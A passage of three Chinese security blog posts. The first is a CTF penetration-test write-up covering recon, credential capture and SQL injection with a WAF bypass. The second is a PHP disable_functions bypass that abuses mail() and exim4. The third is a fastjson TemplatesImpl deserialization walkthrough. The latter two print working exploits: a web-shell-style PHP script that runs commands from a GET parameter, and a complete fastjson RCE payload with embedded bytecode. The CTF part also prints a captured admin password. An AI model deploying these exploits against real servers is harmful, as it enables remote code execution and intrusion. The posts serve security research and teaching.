CUIT CTF Pentest Writeup

开始打这个比赛的时候,看到渗透题还没人做,以为是刚开始比赛呢,结果没想到已经是尾声了[facepalm]。
渗透题挺好玩,常规渗透流程即可。

0x01 FLAG 1

dnsbrute 跑一下:

Domain,Type,Record
rootk.pw,CNAME,rootk.pw.cname.yunjiasu-cdn.net
mail.rootk.pw,CNAME,mail.rootk.pw.cname.yunjiasu-cdn.net
ns2.rootk.pw,A,115.29.36.83
ns1.rootk.pw,A,115.29.36.83

NS 服务器,看起来就能日,nmap:

Nmap scan report for 115.29.36.83
Host is up (0.022s latency).
Not shown: 65526 closed ports, 3 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
111/tcp   open  rpcbind
443/tcp   open  https
8080/tcp  open  http-proxy
40403/tcp open  unknown

打开 8080 和 443,一样的东西:

扫描目录:

[01:31:15] 200 -    0B  - /config.php
[01:31:15] 200 -    0B  - /config.php
[01:31:17] 301 -  312B  - /css  ->  https://115.29.36.83/css/
[01:31:20] 200 -   73B  - /edit.php
[01:31:21] 403 -  287B  - /error/
[01:31:23] 301 -  314B  - /fonts  ->  https://115.29.36.83/fonts/
[01:31:27] 200 -    6KB - /index.php
[01:31:28] 200 -    6KB - /index.php/login/
[01:31:32] 200 -   73B  - /main.php
[01:31:48] 301 -  315B  - /static  ->  https://115.29.36.83/static/
[01:31:51] 301 -  314B  - /tools  ->  https://115.29.36.83/tools/

但是 443 可以列目录,打开 tools 目录:

有个 bot.py

import requests

url = 'http://10.211.55.3/program/sctf-web-111/admin_log/index.php'
r = requests.get(url)

if 'action="index.php"' in r.content and 'name="user"' in r.content and 'name="pass"' in r.content:
  print 'Ok!'
  data = {
    'user':'admin',
    'pass':'123456'
  }
  res = requests.post(url,data=data)
  if 'Login Successed' in res.content:
    print 'Login Successed'
else:
  print 'Error!'

10.211.55.3,这个是 Parallels Desktop 的 IP。反正看起来就是个测试服务有没有挂的东西吧。
看了下 edit.php,发现可以在未登录的情况下修改 IP。这里是个预期外的解,但是既然出题人写出来的漏洞,那就不客气啦。

联想到 bot.py,那么我在服务器上监听了 80,看看有什么返回内容:

GET 了一个域名 admin_log.rootk.pw。把页面扒下来,然后用 PHP 返回页面内容:

得到结果:

登陆不进去,问了下出题人,他说“输入错误密码为了防止钓鱼”。感觉这里有点脑洞了其实。
加上一句代码:

if ($_POST['user'] == 'test') {
    echo "<script>alert('Username Or Password Error !');</script>";
}

然后拿到密码:

user=sycMovieAdmin&pass=H7e27PQaHQ8Uefgj

搞定:

0x02 NO FLAG 2

这个我没想做了,因为比赛已经快结束了。第一道题做完大概晚上七点半左右。
从注入开始:

http://www.rootk.pw/single.php?id=1

id 可以注入,但是有一个百度的 WAF 拦着。fuzz:


发现程序过滤了空字符:

这样就可以 bypass 百度的 WAF:

SELECT -> SE LECT

因为过滤了空格:

空格 -> / **/


写一个 sqlmap 的 tamper:

跑了一堆数据,没啥用。
既然是模拟 root,估计是 UDF。但是需要写文件。又因为文件很大,还要分段写入:

然后导出到 plugin_dir(payload 找不到了,大概就是 concat 然后 into dumpfile):
然后 create function,接着可以执行了:

然后在服务器上翻到了一些东西:

登陆邮箱拿到了网络拓扑图:

然后找到 bakup 服务器是 10.10.10.200,开了 80 端口,存在 PHP 服务。 目前我的进度就到此为止。

0x03 FLAG 2

剩下是出题人说的思路,和我想的差不多,如果时间够的话应该就能搞定了。

  • 通过 fastcgi 打 10.10.10.200
  • 反弹一个 shell,然后代理进入内网
  • 通过 MS17-010 打 Windows 2008
  • 应该就能拿到 FLAG 2 了

Yet Another PHP disable_functions Bypass

Dawid Golunski 放出了 Wordpress 的 0day,虽然难用,但是里面利用 mail 的姿势非常有趣。
水一篇文好了,其实思路很简单,就是利用 mail 的命令注入来绕过 disable_functions 执行命令。

条件限制:

  • sendmail 为 exim4

Exploit

<?php
$command_file = "/tmp/cmdMhhaJ8aM";
$output_file = "/tmp/outputMhhaJ8aM";
$cmd = $argv[1] ? $argv[1] : $_GET['cmd'];
$cmd = "$cmd > $output_file";

file_put_contents($command_file, $cmd);
mail("root@localhost", "aaa", "bbb", null,
     '-fwordpress@xenial(tmp1 -be ${run{/bin/sh${substr{10}{1}{$tod_log}}'.$command_file.'}} tmp2)');
echo file_get_contents($output_file);
unlink($output_file);
unlink($command_file);

参考


Fastjson Unserialize Vulnerability Write Up

0x00

fastjson 日前爆了一个反序列化导致 RCE 的漏洞,但是网上没有流传的 exploit。今天 @廖新喜1 发了一张截图,隐约透露出的内容是利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 来执行命令。我当时菊花一紧,这不就是我最开始看 ysoserial 的时候的那个执行链吗。奈何太菜,调试不出来。
不过既然 dalao 都已经调试出来了,那么肯定用这个没错了。打了一把 CS:GO(Steam:ricter_z)后操起 IDEA 开始调试。
因为对 Java 人生地不熟,更别说什么 TemplatesImpl 了。首先看一下 TemplatesImpl 的源码,没看出什么来。总之先按照截图慢慢凑一下 payload 吧。

...

于是终于凑出来了。紧接着单步调试跟了一下 fastjson 解析流程,终于搞明白原理了。

我好菜啊.jpg

0x01 fastjson 的特性

对于 byte[] 的 base64 decode

对于 byte[] 类型的成员变量,在 deserialze 的时候会调用 lexer.bytesValue

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    JSONLexer lexer = parser.lexer;
    if(lexer.token() == 8) {
        lexer.nextToken(16);
        return null;
    } else if(lexer.token() == 4) {
        byte[] bytes = lexer.bytesValue();
        lexer.nextToken(16);
        return bytes;

bytesValue 方法为:

public byte[] bytesValue() {
    return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}

private 成员变量的处理

对于一个 Class:

class ModelTest {
    public String field1;
    public int field2;
    private String field3;
    private int field4;

    public String getField3() {
        return field3;
    }

    public void setField3(String s) {
        field3 = s;
    }
}

默认情况下,fastjson 会把一些符合条件的方法和字段加到字段列表里。

  • field1,public 的成员变量
  • field2,同上
  • field3,存在 getField3/setField3 方法

fastjson 判断 field3 的条件如下:

methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))

并且:

methodName.startsWith("set")

对于 field4,在设置了 SupportNonPublicField 后,也会支持解析。具体可以查看 Wiki:https://github.com/alibaba/fastjson/wiki/Feature_SupportNonPublicField_cn

对于有 getter 没有 setter 的变量,fastjson 会在 JavaBeanInfo.class 的第 459 行处理(版本不同可能有偏差):

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) &&
methodName.startsWith("get") && 
Character.isUpperCase(methodName.charAt(3)) && 
method.getParameterTypes().length == 0 &&
(
Collection.class.isAssignableFrom(method.getReturnType()) || 
Map.class.isAssignableFrom(method.getReturnType()) || 
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()
)

关注括号里的几个判断,需要满足 X.class.isAssignableFrom(method.getReturnType()) 才可以进入 if 语句。

关键点来了:在 TemplatesImpl.java 中,getOutputProperties 方法返回类型是 Properties,而 Properties extends Hashtable<>Hashtableimplements Map,所以可以通过这个判断。

0x02 漏洞触发原理

_outputProperties 触发 getOutputProperties 方法调用

我一直很疑惑,为什么 _outputProperties 会使得 getOutputProperties 被调用呢?于是我深入的单步了一下,发现 fastjson 有一个神奇的 smartMatch 方法:

public FieldDeserializer smartMatch(String key) {
    if(key == null) {
        return null;
    } else {
        FieldDeserializer fieldDeserializer = this.getFieldDeserializer(key);
        boolean snakeOrkebab;
        int i;
        int var6;
        if(fieldDeserializer == null) {
            snakeOrkebab = key.startsWith("is");
            FieldDeserializer[] var4 = this.sortedFieldDeserializers;
            i = var4.length;
            ...
        }
        if(fieldDeserializer == null) {
            snakeOrkebab = false;
            String key2 = null;

            for(i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
                if(ch == 95) {
                    snakeOrkebab = true;
                    // 这里把下划线替换掉了,所以可以匹配
                    key2 = key.replaceAll("_", "");
                    break;
                }

                if(ch == 45) {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }

匹配完成后,返回了一个 FieldDeserializer 对象,接着下面的代码调用此处:

((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);

parseField 调用了 setValue

public void setValue(Object object, Object value) {
    if(value != null || !this.fieldInfo.fieldClass.isPrimitive()) {
        try {
            Method method = this.fieldInfo.method;
            if(method != null) {
                if(this.fieldInfo.getOnly) {
                    if(this.fieldInfo.fieldClass == AtomicInteger.class) 
                    {
                        ..
                    } else if(Map.class.isAssignableFrom(method.getReturnType())) {
                        Map map = (Map)method.invoke(object, new Object[0]);

这里 method 就是 getOutputProperties 方法了。
通过 getOutputProperties 方法,我们可以构造一个 exploit 类来进行攻击。

调用链

TemplatesImpl.javagetOutputProperties 函数为:

public synchronized Properties getOutputProperties() {
    try {
        // 调用 newTransformer
        return newTransformer().getOutputProperties();

接着 newTransformer 函数调用了 getTransletInstance

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;
    // 调用 getTransletInstance
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,

getTransletInstance 调用:

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        // 这里实例化了 _class[_transletIndex]
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

所以编写一个继承自 AbstractTranslet 类的类后,在构造器执行代码即可。

0x03 从 0 开始的构造 exploit

TemplatesImpl.java 构造 gadgets

TemplatesImpl.javadefineTransletClasses 中,通过 for 循环取出 _bytecodes 中的值,接着调用 loader.defineClass 来定义类。

private void defineTransletClasses()
    throws TransformerConfigurationException {
    ...
    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);

接着,会判断这个类的超类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,如果是,把 i 赋给 _transletIndex

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}
else {
     _auxClasses.put(_class[i].getName(), _class[i]);
}

接着通过上述的调用链:

getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance()

来实例化 exploit 类。

构造 exploit

根据以上内容,我们需要构造的 exploit 应满足如下条件:

  • 合法的 TemplatesImpl
  • 合法的 _bytecodes,可以正确解析成类
  • 类需要继承自 AbstractTranslet,构造器中存放执行命令的内容

首先利用 @type 声明一个 TemplatesImpl

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [], "_name": "a"}

同时根据源代码,我们还要构造一个 _tfactory 加到上面的 JSON 里:

"_tfactory": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"}

为了触发漏洞点,我们还需要设置 _outputProperties。

"_outputProperties": {"@type": "java.util.Properties"}

接着构造 _bytecodes。由于我们知道 fastjson 会帮助我们解码 base64,所以构造好直接 base64 编码然后填入 _bytecodes 即可。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exp extends AbstractTranslet {

    public Exp() {
        try {
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        } catch (IOException e) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

}

由于 defineTransletClasses 的一个 bug,我们的 _bytescode 需要两项才可以。具体 bug 点在 defineTransletClasses 函数:

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

由于没有考虑 classCount == 1 的情况,导致当 classCount 为 1 时,_auxClassesnull(扶额)。
这里是我犯蠢了,其实直接构造一个正确的类即可。

最终 payload 为(注意,这里是 Java 1.8,如果是 1.6 版本的话需要在 1.6 下编译 Exp 类,再写入 _bytecodes):

{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": [
    "yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG1haW4vamF2YS9jb20vUmljdGVyWi9FeHA7AQANU3RhY2tNYXBUYWJsZQcAJwcAJgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwApAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAIRXhwLmphdmEMAAgACQcAKgwAKwAsAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAtAC4BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAZbWFpbi9qYXZhL2NvbS9SaWN0ZXJaL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAADgAEABAADQATABAAEQARABQADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAEAEgATAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAFgAXAAIAGAAAAAQAAQAZAAEAEgAaAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAdAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAGwAcAAIAAAABAB0AHgADABgAAAAEAAEAGQABAB8AAAACACA="
  ],
  "_name": "a",
  "_tfactory": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"
  },
  "_outputProperties": {
    "@type": "java.util.Properties"
  }
}

效果:

0x04 总结

说是个 RCE,但是利用起来环境却很苛刻。如果需要利用的话,对于 JSON 的处理函数应该为:

JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);

但是大多数人都是直接 JSON.parse 一把梭,设置 Feature.SupportNonPublicField 的人少之又少,影响面会变小很多。
其他也没有什么好说的,再次感谢 @廖新喜1,如果不是那张截图我仍然还在把 fastjson 这事儿扔在 TODO 里吧(。
另外,总感觉利用 TemplatesImpl 这个真的是很多巧合的结合才会成功。
首先是 fastjson 的限制,然而 getOutputProperties 的返回值类型是 Properties。如果没有这一点,这个调用链也连接不起来。
其次,由于 fastjson 的 smartMatch,我们才会通过 _outputProperties 去触发 getOutputProperties

构造完的我莫名其妙,但是了解原理后叹为观止。

我们所过的每个平凡的日常,也许就是连续发生的奇迹。